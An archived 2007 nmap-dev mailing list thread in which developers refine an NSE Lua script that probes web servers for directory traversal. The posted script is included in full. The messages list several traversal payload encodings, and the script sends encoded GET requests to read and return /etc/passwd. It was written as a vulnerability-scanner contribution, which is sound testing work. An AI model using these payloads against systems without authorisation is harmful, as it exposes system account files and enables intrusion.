Nmap Development mailing list archives

Re: [NSE Script] HTTP probe for /etc/passwd


From: Kris Katterjohn <katterjohn () gmail com>
Date: Fri, 20 Jul 2007 23:12:49 -0500

Brandon Enright wrote:
On Fri, 20 Jul 2007 20:00:27 -0500 plus or minus some time MadHat
Unspecific <madhat () unspecific com> wrote:

Kris Katterjohn wrote:
Hey everyone!

I attached HTTPpasswd.nse, which is a script to probe for /etc/passwd through HTTP servers that are susceptible to directory traversal.

It's my first script that actually does something, so any comments are welcome and appreciated.
Checking for a positive return code is not always useful. Custom 404 messages can produce 200 return codes in some configurations. It would be better to check the response for a specific entry like "root:".


The exact same thing occurred to me as well.  In addition to checking for a
200, you should check that at least one line matches the general format
of /etc/passwd.  Something simple like "the first line has more than one
':'" would probably work just fine.

Also, while doing '../' x 10 is probably the canonical directory
transversal attack, there are many other useful techniques that yield the
same result.

Starting on page 264 of the book "Exploiting Software, How to Break
Code" (ISBN 0-201-78695-8) several alternate encoding techniques are
outlined.

You might want to try a few of these (mostly from the book):

.../../../etc/passwd

....????./../../etc/passwd

..\..\..\etc\passwd     # works on many servers

..\/..\/..\/etc\/passwd

Of course, you should encode these in %XX format as well as leaving them as
ASCII bytes.  Also, you might want to try Unicode.  '.' is
0xC0AE, '/' is 0xC0AF, and '\' is 0xC19C.

Obviously it is a trade-off between speed and thorough checking so what you
have down already might be enough.

Thanks for the excellent contribution, I can't wait to test this.

Brandon


Thanks for the advice! And please test the new one out (attached) and let me know if you have problems (or if you see anything else wrong with this new one)

I added a few of your ideas, and separated it into functions. It's really easy to add any other ideas now.

Thanks again,
Kris Katterjohn
-- HTTP probe for /etc/passwd
-- 07/20/2007

-- Started with Thomas Buchanan's HTTPAuth.nse as a base
-- Applied some suggestions from Brandon Enright, thanks man!

id = "HTTP /etc/passwd probe"

description = "Probe for /etc/passwd if server is susceptible to directory traversal"

author = "Kris Katterjohn <katterjohn () gmail com>"

license = "Look at Nmap's COPYING"

categories = {"intrusive"}

require "shortport"

-- Check for a valid HTTP return code, and (minimally) check
-- the supposed passwd file for validity
validate = function(response)
        local passwd
        local line
        local start, stop

        -- Hopefully checking for only 200 won't bite me in the ass, but
        -- it's the only one that makes sense and I haven't seen it fail
        if string.match(response, "HTTP/1.[01] 200") then
                start, stop = string.find(response, "\r\n\r\n")
                passwd = string.sub(response, stop+1)
        else
                return
        end

        start, stop = string.find(passwd, "[\r\n]")
        line = string.sub(passwd, 1, stop)

        if string.match(line, "^[^:]+:.*:") then
                return passwd
        end

        return
end

-- Connects to host:port, send cmd, and returns the (hopefully valid) response
talk = function(host, port, cmd)
        local socket
        local response

        socket = nmap.new_socket()

        socket:connect(host, port)

        socket:send(cmd)

        response = ""

        while true do
                local status, lines = socket:receive_lines(1)

                if not status then
                        break
                end

                response = response .. lines
        end

        socket:close()

        return validate(response)
end

portrule = shortport.port_or_service({80, 8080}, "http")

action = function(host, port)
        local cmd, response

        -- /etc/passwd  ...I can hope, can't I? :)
        cmd = "GET %2Fetc%2Fpasswd HTTP/1.0\r\n\r\n"

        response = talk(host.ip, port.number, cmd)

        if response then
                return response
        end

        -- ../../../../../../../../../../etc/passwd
        cmd = "GET " .. string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd HTTP/1.0\r\n\r\n"

        response = talk(host.ip, port.number, cmd)

        if response then
                return response
        end

        -- .../../../../../../../../../../etc/passwd
        cmd = "GET %2E" .. string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd HTTP/1.0\r\n\r\n"

        response = talk(host.ip, port.number, cmd)

        if response then
                return response
        end

        -- ..\..\..\..\..\..\..\..\..\..\etc\passwd
        cmd = "GET " .. string.rep("%2E%2E%5C", 10) .. "etc%5Cpasswd HTTP/1.0\r\n\r\n"

        response = talk(host.ip, port.number, cmd)

        if response then
                return response
        end

        return
end


_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev
Archived at http://SecLists.Org

Current thread: